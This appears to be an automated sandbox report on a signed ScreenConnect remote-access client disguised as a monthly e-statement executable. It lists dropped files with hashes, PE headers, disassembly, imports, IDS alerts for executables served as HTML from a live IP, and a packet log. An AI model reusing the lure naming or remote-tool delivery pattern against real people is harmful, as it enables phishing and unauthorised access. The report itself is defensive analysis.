Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.WindowsClient" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.WindowsClient.exe" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Drawing" publicKeyToken="b03f5f7f11d50a3a" version="2.0.

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (10074), with CRLF line terminators
Category:	dropped
Size (bytes):	17866
Entropy (8bit):	5.954687824833028
Encrypted:	false
SSDEEP:	384:ze1oEQwK45aMUf6FX9hJX9FX9R/QPIYM7Y7:zd6FX9hJX9FX9R/QPIN07
MD5:	1DC9DD74A43D10C5F1EAE50D76856F36
SHA1:	E4080B055DD3A290DB546B90BCF6C5593FF34F6D
SHA-256:	291FA1F674BE3CA15CFBAB6F72ED1033B5DD63BCB4AEA7FBC79FDCB6DD97AC0A
SHA-512:	91E8A1A1AEA08E0D3CF20838B92F75FA7A5F5DACA9AEAD5AB7013D267D25D4BF3D291AF2CA0CCE8B73027D9717157C2C915F2060B2262BAC753BBC159055DBDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <asmv1:assemblyIdentity name="ScreenConnect.WindowsClient.exe" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" type="win32" />.. <application />.. <entryPoint>.. <assemblyIdentity name="ScreenConnect.WindowsClient" version="24.2.10.8991" publicKeyToken="4B14C015C87C1AD8" language="neutral" processorArchitecture="msil" />.. <commandLine file="ScreenConnect.WindowsClient.exe" paramet

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsFileManager.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	81696
Entropy (8bit):	5.862223562830496
Encrypted:	false
SSDEEP:	1536:/tytl44RzbwI5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7Yp7gxd:8/KukLdUpc
MD5:	B1799A5A5C0F64E9D61EE4BA465AFE75
SHA1:	7785DA04E98E77FEC7C9E36B8C68864449724D71
SHA-256:	7C39E98BEB59D903BC8D60794B1A3C4CE786F7A7AAE3274C69B507EBA94FAA80
SHA-512:	AD8C810D7CC3EA5198EE50F0CEB091A9F975276011B13B10A37306052697DC43E58A16C84FA97AB02D3927CD0431F62AEF27E500030607828B2129F305C27BE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P............"...0..@...........^... ...`....@.. .......................`......j.....@..................................^..O....`.. ............... )...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc... ....`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....^.(.......;...%...}....:.(......}....:.(......}....:.(......}........0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(........(+...o,...(-...t....

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsFileManager.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\932a2db58c237abd381d22df4c63a04a_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	3.463057265798253
Encrypted:	false
SSDEEP:	3:/lqlhGXKRjgjkFmURueGvx2VTUz:4DRPAx2Kz
MD5:	D2DED43CE07BFCE4D1C101DFCAA178C8
SHA1:	CE928A1293EA2ACA1AC01B61A344857786AFE509
SHA-256:	8EEE9284E733B9D4F2E5C43F71B81E27966F5CD8900183EB3BB77A1F1160D050
SHA-512:	A05486D523556C75FAAEEFE09BB2F8159A111B1B3560142E19048E6E3898A506EE4EA27DD6A4412EE56A7CE7C21E8152B1CDD92804BAF9FAC43973FABE006A2F
Malicious:	false
Preview:	......../...............................Microsoft Enhanced Cryptographic Provider v1.0.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4216564290401905
Encrypted:	false
SSDEEP:	6144:zSvfpi6ceLP/9skLmb0OTTWSPHaJG8nAgeMZMMhA2fX4WABlEnNp0uhiTw:+vloTTW+EZMM6DFyn03w
MD5:	1A005DC6D650343D501A917C790F5063
SHA1:	DBBADBFBE5FC4F9A3F4ADD821B0B3267E5481563
SHA-256:	C6A1EB0822C98479186D29EAAA2F98957EE3B6D66682D99144BBEB2F38D77D7D
SHA-512:	49B836559976B49B673CE21D055EBFA4E18DE794D1ECA96CE019CCC0F68012505708DA8D95F8E44E29645741A1A5C1A13274A4A4A4150642EDFD65D40B1102DF
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.~...1.................................................................................................................................................................................................................................................................................................................................................*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.514403774293619
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	monthly-eStatementForum120478962.Client.exe
File size:	83'376 bytes
MD5:	27bd2490fd75556aab2df57ea7c1147f
SHA1:	4eb9656ede1fed23fdaeb67815afcd489ded0f77
SHA256:	7d6376247db9e267f27d1d6bf32b48afcab0ad277706fc0135d803645f7852a5
SHA512:	b70743c0c03cad64c9f258db7de324ca083ec15ad922f16460febbe47f018aedcbf83e39d8f2b4a57ff77d71727e11a2585264de9dadb15f0ea18abe1e34b350
SSDEEP:	1536:JoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaxPBJYYX7gxD:TenkyfPAwiMq0RqRfbaxZJYYX
TLSH:	0F835B43B5E18875E9730E3118B1D9B4593FBD110EA48EAF3398426A0F351D19E3AE7B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ycId...d...d.......n...............\|.......A.......v.......v...m`..a...d...........e.......e.......e...Richd...........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x401489
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66BBDDB2 [Tue Aug 13 22:26:58 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	37d5c89163970dd3cc69230538a1b72b

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	17/08/2022 02:00:00 16/08/2025 01:59:59
Subject Chain	CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US
Version:	3
Thumbprint MD5:	AAE704EC2810686C3BF7704E660AFB5D
Thumbprint SHA-1:	4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Thumbprint SHA-256:	82B4E7924D5BED84FB16DDF8391936EB301479CEC707DC14E23BC22B8CDEAE28
Serial:	0B9360051BCCF66642998998D5BA97CE

Entrypoint Preview

Instruction
call 00007F5010519DCAh
jmp 00007F501051987Fh
push ebp
mov ebp, esp
push 00000000h
call dword ptr [0040B048h]
push dword ptr [ebp+08h]
call dword ptr [0040B044h]
push C0000409h
call dword ptr [0040B04Ch]
push eax
call dword ptr [0040B050h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [0040B054h]
test eax, eax
je 00007F5010519A07h
push 00000002h
pop ecx
int 29h
mov dword ptr [004118C0h], eax
mov dword ptr [004118BCh], ecx
mov dword ptr [004118B8h], edx
mov dword ptr [004118B4h], ebx
mov dword ptr [004118B0h], esi
mov dword ptr [004118ACh], edi
mov word ptr [004118D8h], ss
mov word ptr [004118CCh], cs
mov word ptr [004118A8h], ds
mov word ptr [004118A4h], es
mov word ptr [004118A0h], fs
mov word ptr [0041189Ch], gs
pushfd
pop dword ptr [004118D0h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004118C4h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004118C8h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004118D4h], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [00411810h], 00010001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1060c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x13000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x11800	0x2db0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14000	0xddc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xfe38	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xfd78	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb000	0x13c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9cf8	0x9e00	bae4521030709e187bdbe8a34d7bf731	False	0.6035650712025317	data	6.581464957368758	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb000	0x5d58	0x5e00	ec94ce6ebdbe57640638e0aa31d08896	False	0.4178025265957447	Applesoft BASIC program data, first line number 1	4.843224204192078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x11000	0x11cc	0x800	04a548a5c04675d08166d3823a6bf61b	False	0.16357421875	data	2.0120795802951505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x13000	0x1e0	0x200	aa256780346be2e1ee49ac6d69d2faff	False	0.52734375	data	4.703723272345726	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x14000	0xddc	0xe00	908329e10a1923a3c4938a10d44237d9	False	0.7776227678571429	data	6.495696626464028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x13060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

LocalFree, GetProcAddress, LoadLibraryA, Sleep, LocalAlloc, GetModuleFileNameW, DecodePointer, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, RaiseException, GetStdHandle, WriteFile, GetModuleFileNameA, MultiByteToWideChar, WideCharToMultiByte, ExitProcess, GetModuleHandleExW, GetACP, CloseHandle, HeapAlloc, HeapFree, FindClose, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, SetStdHandle, GetFileType, GetStringTypeW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleCP, GetConsoleMode, SetFilePointerEx, WriteConsoleW, CreateFileW

CRYPT32.dll

CertDeleteCertificateFromStore, CryptMsgGetParam, CertCloseStore, CryptQueryObject, CertAddCertificateContextToStore, CertFindAttribute, CertFreeCertificateContext, CertCreateCertificateContext, CertOpenSystemStoreA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-08T11:01:13.781744+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49722	TCP
2024-11-08T11:01:15.767488+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49724	TCP
2024-11-08T11:01:18.080245+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49729	TCP
2024-11-08T11:01:21.003552+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49736	TCP
2024-11-08T11:01:22.684812+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49743	TCP
2024-11-08T11:01:25.138450+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49756	TCP
2024-11-08T11:01:26.702035+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49767	TCP
2024-11-08T11:01:32.679860+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49802	TCP
2024-11-08T11:01:37.035829+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.5	49818	TCP
2024-11-08T11:01:55.669523+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49930	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 8, 2024 11:01:04.016067982 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:04.016123056 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:04.016194105 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:04.097003937 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:04.097029924 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:04.936364889 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:04.936448097 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:04.941138983 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:04.941148996 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:04.941442966 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:04.982817888 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.013277054 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.059329033 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.415880919 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.415909052 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.415916920 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.415925980 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.415955067 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.416040897 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.416053057 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.416196108 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.416196108 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.531009912 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.531035900 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.531095028 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.531112909 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.531137943 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.531166077 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.646428108 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.646459103 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.646501064 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.646528959 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.646543980 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.646574020 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.762099981 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.762126923 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.762206078 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.762223005 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.762273073 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.877706051 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.877729893 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.877796888 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.877819061 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.877861023 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.993299961 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.993324041 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.993388891 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.993417978 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:05.993432999 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:05.993463993 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.110496044 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:06.110522985 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:06.110575914 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:06.110589981 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.110609055 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:06.110645056 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.111613989 CET	443	49705	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:06.111671925 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.114449024 CET	49705	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.621989965 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.622035980 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:06.622128963 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.622380018 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:06.622395992 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.456450939 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.464389086 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:07.464418888 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.901087046 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.901118040 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.901134968 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.901197910 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:07.901230097 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.901284933 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:07.901288033 CET	443	49711	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:07.901339054 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:07.902256966 CET	49711	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:12.240732908 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:12.240767002 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:12.240859032 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:12.241159916 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:12.241173983 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.070631981 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.080457926 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.080475092 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.434468985 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.434488058 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.434504986 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.434618950 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.434636116 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.434691906 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.550118923 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.550142050 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.550255060 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.550271988 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.550318956 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.665772915 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.665796041 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.665858984 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.665875912 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.665891886 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.665918112 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.781781912 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.781801939 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.781893969 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.781908035 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.781950951 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.897080898 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.897104979 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.897166014 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.897182941 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:13.897197008 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:13.897226095 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:14.181575060 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:14.181636095 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:14.181683064 CET	443	49722	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:14.181715965 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:14.181787014 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:14.182415962 CET	49722	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:14.200459003 CET	49724	443	192.168.2.5	194.59.30.201
Nov 8, 2024 11:01:14.200481892 CET	443	49724	194.59.30.201	192.168.2.5
Nov 8, 2024 11:01:14.200556993 CET	49724	443	192.168.2.5	194.59.30.201
